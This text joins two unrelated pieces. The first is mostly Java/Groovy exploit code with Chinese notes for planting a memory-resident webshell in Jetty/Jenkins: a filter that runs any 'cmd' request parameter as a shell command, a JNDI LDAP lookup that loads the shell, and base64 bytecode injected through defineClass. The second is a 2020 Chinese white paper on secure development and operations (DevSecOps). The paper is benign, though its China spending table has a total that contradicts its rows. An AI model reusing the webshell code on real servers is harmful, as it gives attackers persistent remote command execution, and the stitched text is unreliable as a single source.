Thread.currentThread().getClass(); Field field = clazz.getDeclaredField("threadLocals"); field.setAccessible(true); Object object = field.get(Thread.currentThread()); field = object.getClass().getDeclaredField("table"); field.setAccessible(true); object = field.get(object); Object[] arrayOfObject = (Object[])object; for (byte b = 0; b < arrayOfObject.length; b++) { Object object1 = arrayOfObject[b]; if (object1 != null) { field = object1.getClass().getDeclaredField("value"); field.setAccessible(true); object = field.get(object1); if (object != null && object.getClass().getName().endsWith("HttpConnection")) { Method method = object.getClass().getDeclaredMethod("getHttpChannel", null); Object object2 = method.invoke(object, null); method = object2.getClass().getMethod("getRequest", null); this.request = method.invoke(object2, null); method = this.request.getClass().getMethod("getResponse", null); this.response = method.invoke(this.request, null); break; } } } } @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { String cmd = servletRequest.getParameter("cmd"); if(cmd != null && !cmd.isEmpty()){ String[] cmds = null; if(File.separator.equals("/")){ cmds = new String[]{"/bin/sh", "-c", cmd}; }else{ cmds = new String[]{"cmd", "/C", cmd}; } Process process = Runtime.getRuntime().exec(cmds); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { } public static Object getField(Object obj, String fieldName) throws Exception { Field f0 = null; Class clas = obj.getClass(); while (clas != Object.class){ 前台 JNDI 内存马注⼊ 由于前台是内存马注⼊会超长,所以采⽤ JNDI 注⼊来缩减长度 try { f0 = clas.getDeclaredField(fieldName); break; } catch (NoSuchFieldException e){ clas = clas.getSuperclass(); } } if (f0 != null){ f0.setAccessible(true); return f0.get(obj); }else { throw new NoSuchFieldException(fieldName); } } } public class x { public Object req = null; public Object resp = null; def x(){ Class clazz = Thread.currentThread().getClass(); java.lang.reflect.Field field = clazz.getDeclaredField("threadLocals"); field.setAccessible(true); Object obj = field.get(Thread.currentThread()); field = obj.getClass().getDeclaredField("table"); field.setAccessible(true); obj = field.get(obj); Object[] obj_arr = (Object[]) obj; for(int i = 0; i < obj_arr.length; i++){ Object o = obj_arr[i]; if(o == null) continue; field = o.getClass().getDeclaredField("value"); field.setAccessible(true); obj = field.get(o); if(obj != null && obj.getClass().getName().endsWith("HttpConnection")){ java.lang.reflect.Method method = obj.getClass().getDeclaredMethod("getHttpChannel", null); Object httpChannel = method.invoke(obj, null); method = httpChannel.getClass().getMethod("getRequest", null); this.req = method.invoke(httpChannel, null); method = this.req.getClass().getMethod("getResponse",null); this.resp = method.invoke(this.req,null); method = this.resp.getClass().getMethod("getWriter",null); 后台字节码加载 在 Jenkins 后台提供了脚本执⾏的地⽅,所以我们可以不需要顾及长度问题,直接字节码加载即可 java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(this.resp, null); javax.naming.Context ctx = new javax.naming.InitialContext(); ctx.lookup("ldap://localhost:1389/JettyFilterMemShell"); break; } } } } 利⽤ classloader 加载字节码 public class x { public Object req = null; public Object resp = null; def x(){ Class clazz = Thread.currentThread().getClass(); java.lang.reflect.Field field = clazz.getDeclaredField("threadLocals"); field.setAccessible(true); Object obj = field.get(Thread.currentThread()); field = obj.getClass().getDeclaredField("table"); field.setAccessible(true); obj = field.get(obj); Object[] obj_arr = (Object[]) obj; for(int i = 0; i < obj_arr.length; i++){ Object o = obj_arr[i]; if(o == null) continue; field = o.getClass().getDeclaredField("value"); field.setAccessible(true); obj = field.get(o); if(obj != null && obj.getClass().getName().endsWith("HttpConnection")){ java.lang.reflect.Method method = obj.getClass().getDeclaredMethod("getHttpChannel", null); Object httpChannel = method.invoke(obj, null); method = httpChannel.getClass().getMethod("getRequest", null); this.req = method.invoke(httpChannel, null); String data = "内存⻢字节码"; this.getClass(data).newInstance(); break; } } } public Class<?> getClass(String classCode) throws IOException, java.lang.reflect.InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException { ClassLoader loader= Thread.currentThread().getContextClassLoader(); sun.misc.BASE64Decoder base64Decoder = new sun.misc.BASE64Decoder(); java.lang.reflect.Method method = null; byte[] bytes = base64Decoder.decodeBuffer(classCode); Class<?> clz = loader.getClass(); while (method == null && clz != Object.class) { try { method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); } catch (NoSuchMethodException ex) { clz = clz.getSuperclass(); } } if (method != null) { method.setAccessible(true); return (Class<?>) method.invoke(loader, bytes, 0, bytes.length); } return null; } } public class x extends javax.servlet.http.HttpServlet{ public Object req = null; public Object resp = null; def x(){ Class clazz = Thread.currentThread().getClass(); java.lang.reflect.Field field = clazz.getDeclaredField("threadLocals"); field.setAccessible(true); Object obj = field.get(Thread.currentThread()); field = obj.getClass().getDeclaredField("table"); field.setAccessible(true); obj = field.get(obj); Object[] obj_arr = (Object[]) obj; for(int i = 0; i < obj_arr.length; i++){ Object o = obj_arr[i]; if(o == null) continue; field = o.getClass().getDeclaredField("value"); field.setAccessible(true); obj = field.get(o); if(obj != null && obj.getClass().getName().endsWith("HttpConnection")){ java.lang.reflect.Method method = obj.getClass().getDeclaredMethod("getHttpChannel", null); Object httpChannel = method.invoke(obj, null); method = httpChannel.getClass().getMethod("getRequest", null); this.req = method.invoke(httpChannel, null); method = this.req.getClass().getMethod("getResponse",null); this.resp = method.invoke(this.req,null); method = this.resp.getClass().getMethod("getWriter",null); java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(this.resp, null); String data = this.req.getParameter("data"); this.getClass(data).newInstance(); break; } } } public Class<?> getClass(String classCode) throws IOException, java.lang.reflect.InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException { ClassLoader loader= Thread.currentThread().getContextClassLoader(); sun.misc.BASE64Decoder base64Decoder = new sun.misc.BASE64Decoder(); java.lang.reflect.Method method = null; byte[] bytes = base64Decoder.decodeBuffer(classCode); Class<?> clz = loader.getClass(); while (method == null && clz != Object.class) { try { method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); } catch (NoSuchMethodException ex) { clz = clz.getSuperclass(); } } resp.getWriter().println(method.getName()) if (method != null) { method.setAccessible(true); return (Class<?>) method.invoke(loader, bytes, 0, bytes.length); } return null; } }
pdf
研发运营安全白皮书 (2020年) 云计算开源产业联盟 OpenSource Cloud Alliance for industry,OSCAR 2020年7月 版权声明 本白皮书版权属于云计算开源产业联盟,并受法律保护。 转载、摘编或利用其它方式使用本调查报告文字或者观点的, 应注明“来源:云计算开源产业联盟”。违反上述声明者,本联 盟将追究其相关法律责任。 前 言 近年来,安全事件频发,究其原因,软件应用服务自身存在代码 安全漏洞,被黑客利用攻击是导致安全事件发生的关键因素之一。随 着信息化的发展,软件应用服务正在潜移默化的改变着生活的各个方 面,渗透到各个行业和领域,其自身安全问题也愈发成为业界关注的 焦点。传统研发运营模式之中,安全介入通常是在应用系统构建完成 或功能模块搭建完成之后,位置相对滞后,无法完全覆盖研发阶段的 安全问题。在此背景下,搭建整体的研发运营安全体系,强调安全左 移,覆盖软件应用服务全生命周期安全,构建可信理念是至关重要的。 本白皮书首先对于研发运营安全进行了概述,梳理了全球研发运 营安全现状,随后对于信通院牵头搭建的研发运营安全体系进行了说 明,归纳了研发运营安全所涉及的关键技术。最后,结合当前现状总 结了研发运营安全未来的发展趋势,并分享了企业组织研发运营安全 优秀实践案例以供参考。 参与编写单位 中国信息通信研究院、华为技术有限公司、深圳市腾讯计算机系 统有限公司、阿里云计算有限公司、浪潮云信息技术股份公司、京东 云计算(北京)有限公司、北京金山云网络技术有限公司、深圳华大 生命科学研究院、奇安信科技集团股份有限公司、杭州默安科技有限 公司、新思科技(上海)有限公司 主要撰稿人 吴江伟、栗蔚、郭雪、耿涛、康雪婷、徐毅、章可镌、沈栋、 郭铁涛、张祖优、马松松、黄超、伍振亮、祁景昭、朱勇、贺进、 宋文娣、张娜、蔡国瑜、张鹏程、张玉良、董国伟、周继玲、杨国 梁、肖率武、薛植元 目 录 一、研发运营安全概述 ................................................................................................................... 1 (一)研发层面安全影响深远,安全左移势在必行 ........................................................... 1 (二)覆盖软件应用服务全生命周期的研发运营安全体系 ............................................... 4 二、研发运营安全发展现状 ........................................................................................................... 5 (一)全球研发运营安全市场持续扩大 ............................................................................... 5 (二)国家及区域性国际组织统筹规划研发运营安全问题 ............................................... 7 (三)国际标准组织及第三方非盈利组织积极推进研发运营安全共识 ......................... 12 (四)企业积极探索研发运营安全实践 ............................................................................. 14 (五)开发模式逐步向敏捷化发展,研发运营安全体系随之向敏捷化演进 ................. 19 三、研发运营安全关键要素 ......................................................................................................... 21 (一)覆盖软件应用服务全生命周期的研发运营安全体系 ............................................. 22 (二)研发运营安全解决方案同步发展 ............................................................................. 31 四、研发运营安全发展趋势展望 ................................................................................................. 41 附录:研发运营安全优秀实践案例 ............................................................................................. 43 (一)华为云可信研发运营案例 ......................................................................................... 43 (二)腾讯研发运营安全实践 ............................................................................................. 50 (三)国家基因库生命大数据平台研发运营安全案例 ..................................................... 58 图 目 录 图 1 Forrester 外部攻击对象统计数据 ........................................... 2 图 2 研发运营各阶段代码漏洞修复成本 ........................................... 3 图 3 研发运营安全体系 ........................................................ 4 图 4 Cisco SDL 体系框架图 .................................................... 16 图 5 VMware SDL 体系框架图 ................................................... 17 图 6 微软 SDL 流程体系 ....................................................... 20 图 7 DevSecOps 体系框架图 .................................................... 21 图 8 研发运营安全解决方案阶段对应图 ......................................... 32 表 目 录 表 1 2019-2020 全球各项安全类支出及预测 ....................................... 6 表 2 2019-2020 中国各项安全类支出及预测 ....................................... 7 表 3 重点国家及区域性国际组织研发运营安全相关举措 ........................... 12 表 4 国际标准组织及第三方非营利组织研发运营安全相关工作 ..................... 14 表 5 企业研发运营安全具体实践 ............................................... 19 表 6 SDL 与 DevSecOps 区别对照 ................................................ 21 云计算开源产业联盟 研发运营安全白皮书 1 一、 研发运营安全概述 (一)研发层面安全影响深远,安全左移势在必行 随着信息化的发展,软件应用服务正在潜移默化的改变着生活的 各个方面,渗透到各个行业和领域,软件应用服务的自身安全问题也 愈发成为业界关注的焦点。 全球安全事件频发,代码程序漏洞是关键诱因之一。2017 年,美 国最大的征信机构之一 Equifax 因未能及时修补已知的安全漏洞发 生一起涉及 1.48 亿用户的数据安全、隐私泄露事件,影响几乎一半 的美国人口;国内电商因优惠券漏洞被恶意牟利,酒店、求职等网站 也曾发生数据安全事件,泄露百万级、亿级用户隐私数据。究其原因, 软件应用服务自身安全漏洞被黑客利用攻击是数据安全事件层出不 穷关键因素之一。根据 Verizon 2019 年的研究报告《Data Breach Investigations Report》,在总计核实的 2013 次数据泄露安全事件 中,超过 30%与 Web 应用程序相关,Web 应用程序威胁漏洞具体指程 序中的代码安全漏洞以及权限设置机制等。Forrester 2019 年发布 的 调 查 报 告 《 Forrester Analytics Global Business Technographics Security Survey,2019》中显示,在 283 家全球企 业已经确认的外部攻击中,针对软件漏洞以及 Web 应用程序是位于前 两位的,分别占比达到了 40%与 37%,具体数据见图 1,其中软件漏洞 主要指对于安全漏洞的利用攻击,攻击 Web 应用程序主要指基于程序 的 SQL 注入、跨站脚本攻击等。 云计算开源产业联盟 研发运营安全白皮书 2 数据来源:Forrester 图 1 Forrester 外部攻击对象统计数据 根据咨询公司 Gartner 统计数据显示,超过 75%的安全攻击发生在代 码应用层面。 已知安全漏洞中,应用程序安全漏洞与 Web 应用程序安全漏洞占 多数。美国国家标准技术研究院(NIST)的统计数据显示 92%的漏洞 属于应用层而非网络层。国家计算机网络应急技术处理协调中心 2020 年 4 月的发布的数据显示,2019 年,国家信息安全漏洞共享平台(CNVD) 收录的安全漏洞数量创下历史新高,数量同比增长 14.0%,达到 16193 个,其中应用程序漏洞占比 56.2%,Web 应用程序占比 23.3%,二者相 加占比超过 76%,充分说明安全漏洞大多存在于软件应用服务本身。 传统研发运营安全模式中,安全介入相对滞后。传统研发运营安 全,针对服务应用自身的安全漏洞检测修复,通常是在系统搭建或者 功能模块构建完成之后以及服务应用上线运营之后,安全介入,进行 安全扫描,威胁漏洞修复。如当前的大多数安全手段,防病毒、防火 40% 37% 28% 25% 25% 25% 25% 20% 19% 14% 6% 1% 0% 5% 10% 15% 20% 25% 30% 35% 40% 45% 软件漏洞(漏洞利用) Web应用程序(SQL注入、跨站脚本… 使用被盗凭证(加密秘钥) DDoS 水坑攻击 移动恶意软件 利用丢失/被盗资产 DNS 钓鱼 勒索软件 社会工程学 其他 云计算开源产业联盟 研发运营安全白皮书 3 墙、入侵检测等,都是关注软件交付运行之后的安全问题,属于被动 防御性手段。这种模式便于软件应用服务的快速研发部署,但安全介 入相对滞后,并无法覆盖研发阶段代码层面的安全,安全测试范围相 对有限,安全漏洞修复成本也更大。 安全左移有助于帮助企业削减成本。代码是软件应用服务开发的 最初形态,其缺陷或漏洞是导致安全问题的直接根源,尽早发现源码 缺陷能够大大降低安全问题的修复成本。根据美国国家标准与技术研 究所(NIST)统计,在发布后执行代码修复,其修复成本相当于在设 计阶段执行修复的 30 倍。具体数据如图 2 所示。 数据来源:美国国家标准与技术研究所(NIST) 图 2 研发运营各阶段代码漏洞修复成本 在此背景下,搭建新型的研发运营安全体系,进行安全左移,覆 盖软件应用服务的全生命周期,是至关重要,也是势在必行的。建立 新型的研发运营安全体系有助于构建可信理念,创造可信生态,是实 现软件应用服务全生命周期安全的重要一步。 云计算开源产业联盟 研发运营安全白皮书 4 (二)覆盖软件应用服务全生命周期的研发运营安全 体系 新型研发运营安全体系强调安全左移,覆盖软件应用服务全生命 周期。本白皮书认为的研发运营安全指结合人员管理体系、制度流程, 在软件应用服务设计早期便引入安全,进行安全左移,覆盖要求阶段、 安全需求分析阶段、设计阶段、研发阶段、验证阶段、发布阶段、运 营阶段、停用下线阶段的全生命周期,搭建安全体系,降低安全问题 解决成本,全方面提升服务应用安全,提升人员安全能力。具体架构 体系如下图 3 所示。 图片来源:中国信息通信研究院 图 3 研发运营安全体系 体系框架具体内容包括:1)管理制度,建立合适的人员组织架 构与制度流程,保证研发运营流程安全的具体实施,针对人员进行安 全培训,增强安全意识,进行相应考核管理;2)明确安全要求,前期 明确安全要求,如设立质量安全门限要求,进行安全审计,对于第三 云计算开源产业联盟 研发运营安全白皮书 5 方组件进行安全管理等;3)安全需求分析与设计,在研发阶段之前, 进行安全方面的需求分析与设计,从合规要求以及安全功能需求方面 考虑,进行威胁建模,确定安全需求与设计;4)安全研发测试,搭配 安全工具确保编码实际安全,同时对于开源及第三方组件进行风险管 理,在测试过程中,针对安全、隐私问题进行全面、深度的测试;5) 安全发布,服务上线发布前进行安全性审查,制定事先响应计划,确 保发布安全;6)运营安全,上线运营阶段,进行安全监控与安全运 营,通过渗透测试等手段进行风险评估,针对突发事件进行应急响应, 并及时复盘,形成处理知识库,汇总研发运营阶段的安全问题,形成 反馈机制,优化研发运营全流程;7)停用下线,制定服务下线方案 与计划,明确隐私保护合规方案,确保数据留存符合最小化原则,满 足国家相关规范要求。 二、 研发运营安全发展现状 (一)全球研发运营安全市场持续扩大 全球信息安全市场保持稳定增长,应用安全市场增速高于整体安 全市场。本白皮书提出的研发运营安全强调安全左移,通过自动化安 全测试工具,关注软件应用服务代码层面安全,与应用安全紧密关联。 根据 Gartner 2020 年 6 月发布的统计数据显示,全球 2019 年各项安 全类支出总计 1209.34 亿美元,预计 2020 年将达到 1238.18 亿美元, 其中应用安全市场规模 2019 年为 30.95 亿美元,预计 2020 年将达到 云计算开源产业联盟 研发运营安全白皮书 6 32.87 亿美元,年增长率达到 6.2%,明显高于整体信息安全市场的 2.4%年增长率,具体数据如表 1 所示。 市场领域 2019 2020 增长率(%) 应用安全 3095 3287 6.2 云安全 439 585 33.3 数据安全 2662 2852 7.2 身份访问管理 9837 10409 5.8 基础设施保护 16520 17483 5.8 综合风险管理 4555 4731 3.8 网络安全设备 13387 11694 -12.6 其他信息安全软件 2206 2273 3.1 安全服务 61979 64270 3.7 客户安全软件 6254 6235 -0.3 总计 120934 123818 2.4 数据来源:Gartner,2020 年 6 月 表 1 2019-2020 全球各项安全类支出及预测(单位:百万美元) 我国应用安全市场增速高于全球,市场规模占全球比例达到近三 分之一。2019 年,我国应用安全市场规模达到 8.48 亿美元,市场规 模占全球应用安全市场规模比例达到近三分之一,预计 2020 年市场 规模将达到 9.45 亿美元,年增长率达到 11.5%,高于全球 6.2%的增 长率。具体数据如表 2 所示。 云计算开源产业联盟 研发运营安全白皮书 7 市场领域 2019 2020 增长率(%) 应用安全 848 945 11.5 云安全 1336 1448 8.3 数据安全 565 616 9 身份访问管理 1730 1852 7.1 基础设施保护 2139 2318 8.4 综合风险管理 97 106 9.9 网络安全设备 7518 7111 -5.4 其他信息安全软件 379 395 4.2 安全服务 13173 15078 14.5 客户安全软件 27784 29869 7.5 总计 848 945 11.5 数据来源:Gartner,2020 年 6 月 表 2 2019-2020 中国各项安全类支出及预测(单位:百万美元) 应用程序安全测试(AST)市场增速最为迅猛,市场规模占比超 过应用安全总体市场规模的三分之一。根据 Gartner 2019 年 4 月发 布的报告调查数据显示,应用安全测试市场预计将以 10%的复合年 增长率增长,这仍是信息安全领域中快速增长的部分,到 2019 年底, AST 的市场规模估计将达到 11.5 亿美元,市场规模占比超过应用安 全总体市场规模的三分之一。根据 Industry Research 2019 年 8 月 发布的数据显示,按照应用程序安全测试类型区分,静态应用程序安 全测试(SAST)将占主导地位,预计将以 24.06%的复合年增长率增 长,交互式应用程序安全性测试(IAST)预计将以最快的 27.58%的 复合年增长率增长。 (二)国家及区域性国际组织统筹规划研发运营安全 问题 重点国家与区域性国际组织已发布政策规范,重视研发运营安全 问题。软件应用服务是信息化的重要组成部分,源代码是软件应用服 云计算开源产业联盟 研发运营安全白皮书 8 务的最原始形态。越来越多的国家已经意识到软件应用服务的源代码 安全的重要性,在强调安全运营、防御的基础之上,通过发布一系列 政策以及指南,从国家层面规范此方面的工作。目前美国、英国、俄 罗斯、印度、澳大利亚以及欧盟等国家和区域组织都已经推行涉及研 发运营安全的战略、规范或指南,其中以美国、英国、印度、欧盟最 为典型。 美国发布战略计划,关注研发运营安全。美国越来越依赖于网络 空间,但安全并未跟上网络威胁的增长。关于研发安全,美国国家科 技委员会(NSTC)网络和信息技术研发分委会在 2019 年 12 月发布 《联邦网络安全研发战略计划》,主要内容涵盖四个相互关联的防御 能力:威慑、保护、探测、响应。在威慑能力中明确提出,设计安全 的软件是威慑手段之一;保护能力关于研发安全具体包含两个方面的 内容,1)减少脆弱性,具体行为包括安全设计、安全开发、安全验 证、可持续安全;2)执行安全原则,具体涵盖使用加密机制保护数 据,提高访问控制效率,避免安全漏洞引入。此外,美国国土安全部 资助软件质量保证(SQA)项目,提升软件应用安全性,软件质量保 证(SQA)项目发展工具与技术,用于分析识别软件中的潜在安全漏 洞,具体而言,该项目强调软件代码开发过程中,安全性分析以及脆 弱性识别,从而在开发过程的早期发现并消除漏洞、缺陷。关于运营 安全,《联邦网络安全研发战略计划》中提出的探测与响应能力和运 营安全密切相关,具体内容包括实时监测系统安全,及时检测甚至预 云计算开源产业联盟 研发运营安全白皮书 9 测安全威胁,动态评估安全风险,对于安全威胁进行联动、自适应处 理等内容。 英国推行源码审查,发布研发运营安全相关战略指南,提升整体 软件应用服务安全性。英国基于自身 IT 产业情况,使用其他国家企 业的网络信息技术产品和服务的情况较多,供应链更为复杂。针对软 件应用代码安全以及研发安全,英国推行网络安全审查机制,采用相 对市场化的评估机制,这其中就包括深层次的源代码审查测试,检测 相关产品或服务是否存在安全缺陷或漏洞。同时,英国国家网络安全 中心(NCSC)于 2018 年 11 月发布《安全开发和部署指南》,具体包 含 8 项安全开发原则,1)安全开发关系每一个人;2)保持安全知识 实时更新;3)研发干净可维护的代码;4)保护开发环境;5)保护代 码库;6)保护构建和部署管道;7)持续进行安全性测试;8)对于安 全威胁、漏洞影响提前计划,8 项原则均与研发安全密切相关。针对 运营安全,《国家网络安全战略 2016-2021》中明确提出要提升防御 能力,提高政府和公共部门抵御网络攻击的弹性,定期评估关键系统 的安全漏洞,业界应与国家网络安全中心(NCSC)共享网络威胁最新 情报,进行主动防御等具体举措。 印度推行国家战略,推动系统应用研发运营安全。印度作为软件 开发大国,对代码安全方面的要求较高。针对研发安全,印度国家网 络协调中心(NCCC)在 2013 年曾发布《国家网络安全战略》(NCSS 2013),推动网络安全研究与开发是其战略之一,包括解决与可信系 统的开发、测试、部署和维护整个生命周期相关的所有问题。2020 年, 云计算开源产业联盟 研发运营安全白皮书 10 正在征求意见更新《国家网络安全战略》(NCSS 2020),安全测试 左移,集成到开发周期之中,安全团队成为应用程序开发生命周期的 一部分是主要趋势之一。针对运营安全,在战略中提出,创建安全威 胁早期预警、漏洞管理和应对安全威胁的机制;建立国家级的系统、 流程、结构和机制,对现有和潜在网络安全威胁进行必要情境推测。 欧盟颁布实施法案,注重国际合作,推进整体的研发运营安全。 欧盟在 2019 年 6 月 27 日,正式施行《网络安全法案》,旨在有效应 对随着数字化和连接性的增加而带来的与网络安全相关的各类风险, 防范对计算机系统、通信网络、数字产品、服务和设备等带来的潜在 威胁,进一步完善欧盟的网络安全保护框架。针对研发设计安全,明 确提出,参与产品设计开发的组织、制造商、提供商应在设计和开发 的早期阶段采取安全措施,推测安全攻击的发生,减少安全风险的影 响,同时安全应贯穿产品全生命周期,以减少规避安全风险。针对运 营安全,强调制定和更新联盟级别的网络和信息系统安全策略,对于 安全事件联合处理,内部成员国共享安全信息、技术解决办法,提升 事件处置的效率。 云计算开源产业联盟 研发运营安全白皮书 11 美国 英国 印度 欧盟 国家政策、 指南  《联邦网络安 全研发战略计 划》  软件质量保证 (SQA)项目  网络安全审 查机制  《安全开发 和 部 署 指 南》  《国家网络 安全战略》  《网络安全 法案》 研发安全  《联邦网络安 全研发战略计 划》中涵盖威 慑、保护、探 测、响应四项 能力,其中威 慑、保护与研 发安全密切相 关,在威慑中 明确提出,设 计安全的软件 是威慑手段之 一;保护具体 包 含 两 个 方 面,1)减少脆 弱性,具体行 为包括安全设 计、安全开发、 安全验证、可 持续安全;2) 执 行 安 全 原 则,具体涵盖 使用加密机制 保护数据,提 高访问控制效 率,避免安全 漏洞引入;  美国国土安全 部资助软件质 量保证(SQA) 项目,提升软 件 应 用 安 全 性,软件质量 保证(SQA)项 目发展工具与 技术,用于分 析识别软件中 的潜在安全漏  推行网络安 全 审 查 机 制,采用相 对市场化的 评估机制, 其中包括深 层次的源代 码 审 查 测 试,检测相 关产品或服 务是否存在 安全缺陷或 漏洞  英国国家网 络安全中心 (NCSC)发 布《安全开 发和部署指 南》,包含 8 项安全开发 原则,1)安 全开发关系 每一个人; 2)保持安全 知识实时更 新;3)研发 干净可维护 的代码;4) 保护开发环 境;5)保护 代码库;6) 保护构建和 部署管道; 7)持续进行 安 全 性 测 试;8)对于 安全威胁、 漏洞影响提  印度国家网 络协调中心 (NCCC)在 2013 年发布 《国家网络 安全战略》 ( NCSS 2013),推动 网络安全研 究与开发是 其 战 略 之 一,包括解 决与可信系 统的开发、 测试、部署 和维护整个 生命周期相 关的所有问 题。2020 年, 正在征求意 见更新《国 家网络安全 战 略 》 ( NCSS 2020),安全 测试左移, 集成到开发 周期之中, 安全团队成 为应用程序 开发生命周 期的一部分 是主要趋势 之一。  2019 年 6 月 27 日施行的 《网络安全 法案》中明 确提出,参 与产品设计 开 发 的 组 织、制造商、 提供商应在 设计和开发 的早期阶段 采取安全措 施,推测安 全攻击的发 生,减少安 全风险的影 响,同时安 全应贯穿产 品全生命周 期,以减少 规避安全风 险。 云计算开源产业联盟 研发运营安全白皮书 12 洞,具体而言, 该项目强调软 件代码开发过 程中,安全性 分析以及脆弱 性识别,从而 在开发过程的 早期发现并消 除漏洞、缺陷。 前计划,与 研发安全密 切相关。 运营安全  《联邦网络安 全研发战略计 划》提出的四 项能力中,探 测和响应与安 全运营密切相 关,具体内容 包括实时监测 系统安全,及 时检测甚至预 测安全威胁, 动态评估安全 风险,对于安 全威胁进行联 动、自适应处 理。  《国家网络 安 全 战 略 2016-2021》 中明确提出 要提升防御 能力,提高 政府和公共 部门抵御网 络攻击的弹 性,定期评 估关键系统 的 安 全 漏 洞,业界与 国家网络安 全 中 心 (NCSC)共 享网络威胁 最新情报, 进行主动防 御等具体举 措。  《国家网络 安全战略》 中提出,创 建安全威胁 早期预警、 漏洞管理和 应对安全威 胁的机制; 建立国家级 的系统、流 程、结构和 机制,对现 有和潜在网 络安全威胁 进行必要情 境推测等具 体措施。  《网络安全 法案》强调 制定和更新 联盟级别的 网络和信息 系统安全策 略,对于安 全事件联合 处理,内部 成员国共享 安全信息、 技术解决办 法,提升事 件处置的效 率。 表 3 重点国家及区域性国际组织研发运营安全相关举措 (三)国际标准组织及第三方非盈利组织积极推进研 发运营安全共识 ISO27304 关注建立安全软件程序流程和框架。ISO27034 是国际 标准化组织通过的第一个关注建立安全软件程序流程和框架的标准, 提供了面向企业落地应用安全生命周期的指导框架,其本质目的是指 云计算开源产业联盟 研发运营安全白皮书 13 导企业如何通过标准化的方式把安全融合进入软件生命周期。 ISO27034 由七个部分组成,除了第四部分外已全部发布。 SAFECode 专注于应用安全。SAFECode 成立于 2007 年 10 月,在 过去 10 余年中,其发布的指南已被用于为许多重要行业和政府提供 信息,以解决软件安全问题。SAFECode 组织认为尽管存在差异,但业 界公认的通用安全开发实践已被证明既实用又有效;在软件保证流程 和实践中提供更高的透明度有助于客户和其他关键利益相关者有效 地管理风险。2018 年 3 月 SAFECode 发布第三版《安全软件开发基本 实践》,并在之后持续更新。《安全软件开发基本实践》说明保证软 件安全的具体开发和实施细则,以确保软件按预期运营并且没有设计 缺陷和实现缺陷,具体内容包括安全设计原则、威胁建模、安全编码 实践、测试和验证、脆弱性及安全事件响应等。 OWASP(Open Web Application Security Project,即开放 Web 应用程序安全项目)关注软件安全,致力于改善软件的安全性,推动 全球软件安全的革新与发展。OWASP 是一个非盈利组织,于 2004 年 4 月 21 日在美国成立。OWASP 提供有关计算机和互联网应用程序的公 正、实际、有成本效益的信息,协助个人、企业和机构来发现和使用 可信赖软件。其发布的 OWASP Top 10 代表了对 Web 应用程序最严重 的 10 大安全风险,已经成为业界共识,是企业制定代码安全策略的 重要参考文件,也是进行安全编码的有效一步。 云计算开源产业联盟 研发运营安全白皮书 14 ISO27034 SAFECode OWASP 关注对象  建立安全软件程 序流程和框架  应用安全  软件安全,改善 软件的安全性 具体内容  ISO27034 由七个 部分组成,是国 际标准化组织通 过的第一个关注 建立安全软件程 序流程和框架的 标准,提供了面 向企业落地应用 安全生命周期的 指导框架,其本 质目的是指导企 业如何通过标准 化的方式把安全 融合进入软件生 命周期。  SAFECode 发 布 的指南已被用于 为许多重要行业 和 政 府 提 供 信 息,以解决软件 安全问题;  其发布的《安全 软件开发基本实 践》说明保证软 件安全的具体开 发和实施细则, 以确保软件按预 期运营并且没有 设计缺陷和实现 缺陷,具体内容 包括安全设计原 则、威胁建模、安 全编码实践、测 试和验证、脆弱 性及安全事件响 应等。  OWASP 提 供 有 关计算机和互联 网应用程序的公 正、实际、有成本 效益的信息,协 助个人、企业和 机构来发现和使 用可信赖软件  其 发 布 的 OWASP Top 10 代表了对 Web 应 用程序最严重的 10 大安全风险, 已经成为业界共 识,是企业制定 代码安全策略的 重要参考文件, 也是进行安全编 码的有效一步。 表 4 国际标准组织及第三方非盈利组织研发运营安全相关工作 (四)企业积极探索研发运营安全实践 微软持续改进安全开发生命周期(SDL,即 Security Development Lifecycle,以下简称 SDL)流程措施,推行研发运营安全实践。自 2004 年以来,SDL 作为微软一项强制性政策,在将安全性融入企业文 化与软件开发实践中发挥了重大作用,在推出之后,对于其内容也在 不断进行更新改进,目前具体举措包括 1)管理制度,提供安全培训, 增强安全意识,确保人员了解安全基础知识;2)安全要求,定义安 全隐私要求与安全门限要求,包括法律和行业要求,内部标准和编码 云计算开源产业联盟 研发运营安全白皮书 15 惯例,对先前事件的审查以及已知威胁等,安全门限要求指安全质量 的最低可接受级别,明确定义安全漏洞的严重性阈值;3)安全隐私 需求分析与设计,具体措施包括执行威胁建模,建立设计要求,明确 加密标准;4)管理使用第三方组件的安全风险,拥有准确的第三方 组件清单,并了解其安全漏洞可能对集成它们的系统的安全性产生影 响;5)安全研发与验证,具体举措包括使用经过安全性检查,认可 的工具,执行静态应用程序与动态应用程序安全性测试,进行渗透测 试;6)发布部署阶段,建立标准的事件响应流程,7)针对运营安全, 通过人员权限认证,数据加密存储、传输,安全监控,定期更新安全 策略,抵御常见网络攻击,执行渗透测试等手段保证上线运营阶段的 安全。 借鉴行业领先实践、技术,思科推行企业安全开发生命周期,减 少产品安全风险。如下图 4 所示,具体措施涵盖,1)明确安全要求, 包括思科内部安全基线要求与基于行业、场景的市场安全要求;2) 第三方安全,利用工具了解潜在的第三方软件安全威胁,不断更新已 知第三方软件威胁和漏洞列表,对于产品团队进行告警;3)安全需 求分析与设计,内部安全培训计划鼓励所有员工提高安全意识,同时 鼓励开发和测试团队深入学习安全知识,通过持续不断地发展威胁意 识,并利用行业标准原则和高度安全的经过审查的解决方案,努力开 发出设计上更加安全的产品;通过威胁建模了解和确定系统的安全风 险并确定优先级;4)安全编码与验证,建立内部的安全编码标准, 维护经过审核的通用安全模块,同时通过静态应用程序安全测试与漏 云计算开源产业联盟 研发运营安全白皮书 16 洞扫描,渗透测试等手段保证安全性;5)发布部署,建立安全发布 标准,确保发布部署安全;6)上线运营,通过安全运营操作流程与 持续安全监控、更新保证产品上线之后的安全。 图片来源:Cisco 图 4 Cisco SDL 